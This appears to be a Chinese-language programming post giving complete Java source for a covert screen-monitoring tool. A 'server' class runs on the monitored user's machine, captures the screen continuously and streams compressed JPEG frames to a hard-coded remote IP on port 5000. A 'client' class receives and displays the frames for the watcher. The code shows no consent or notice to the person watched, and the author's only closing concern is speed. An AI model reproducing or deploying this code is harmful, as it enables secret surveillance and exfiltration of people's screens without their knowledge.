// 以下这个为服务器类 被监视的用户 import com.sun.image.codec.jpeg.JPEGCodec; import com.sun.image.codec.jpeg.JPEGImageEncoder; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.FileOutputStream; import java.io.IOException; import java.net.Socket; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class ShellServer extends Thread ... { private Dimension screenSize; private Rectangle rectangle; private Robot robot; private JPEGImageEncoder encoder; public ShellServer() ...{ screenSize = Toolkit.getDefaultToolkit().getScreenSize(); rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域 try...{ robot = new Robot(); }catch(Exception e)...{ e.printStackTrace(); System.out.println(e); } } public void run()...{ ZipOutputStream os = null; Socket socket=null; while (true)...{ try...{ socket = new Socket("220.173.44.158",5000);//连接远程IP BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域 os = new ZipOutputStream(socket.getOutputStream());//加入压缩流 //os = new ZipOutputStream(new FileOutputStream("C:/1.zip")); os.setLevel(9); os.putNextEntry(new ZipEntry("1.jpg")); JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG os.close(); Thread.sleep(50);//每秒20帧 }catch(Exception e)...{ e.printStackTrace(); }finally...{ if(os!=null)...{ try...{ os.close(); }catch(Exception ioe)...{} } if(socket!=null)...{ try ...{ socket.close(); } catch (IOException e) ...{ } } } } } public static void main(String[] args) ...{ new ShellServer().start(); }} // 以下这个为客户端类 监视者 import java.awt. * ; import java.awt.image.BufferedImage; import javax.imageio.ImageIO; import javax.swing. * ; import java.io. * ; import java.net.ServerSocket; import java.net.Socket; import java.util.zip.ZipInputStream; public class ShellClient extends JFrame ... { Dimension screenSize; public ShellClient() ...{ super(); screenSize = Toolkit.getDefaultToolkit().getScreenSize(); this.setSize(800, 640);//设置Frame初始 Screen p = new Screen();//屏幕类 Container c = this.getContentPane(); c.setLayout(new BorderLayout());//布局 c.add(p,"Center");//添加一个Panel new Thread(p).start();//开启线程 this.show();//显示本Frame } public static void main(String[] args)...{ new ShellClient(); } class Screen extends JPanel implements Runnable...{ private Image cimage; public void run()...{ ServerSocket ss=null; try...{ ss=new ServerSocket(5000);//探听5000端口的连接 while(true)...{ Socket s=null; try...{ s=ss.accept();//获取一个SOCKET ZipInputStream zis=new ZipInputStream(s.getInputStream()); zis.getNextEntry();//获得ZIP流的ENTRY cimage = ImageIO.read(zis);//把ZIP流转换为图片 //cimage = ImageIO.read(new FileInputStream("c:/1.jpg")); repaint();//重画 }catch(Exception e)...{ e.printStackTrace(); }finally...{ if(s!=null)...{ try ...{s.close();} catch (IOException e) ...{} } } } }catch(Exception e)...{} finally...{ if(ss!=null)...{ try ...{ss.close();} catch (IOException e) ...{} } } } public Screen() ...{ super(); this.setLayout(null); } public void paint(Graphics g)...{ super.paint(g); Graphics2D g2 = (Graphics2D) g; g2.drawImage(cimage, 0, 0, null); } }} 主要采用了 TCP协议 + 压缩流 ~ 速度还可以!不过觉得还可以优化 用UDP + 动态的矩阵迟点再改进吧!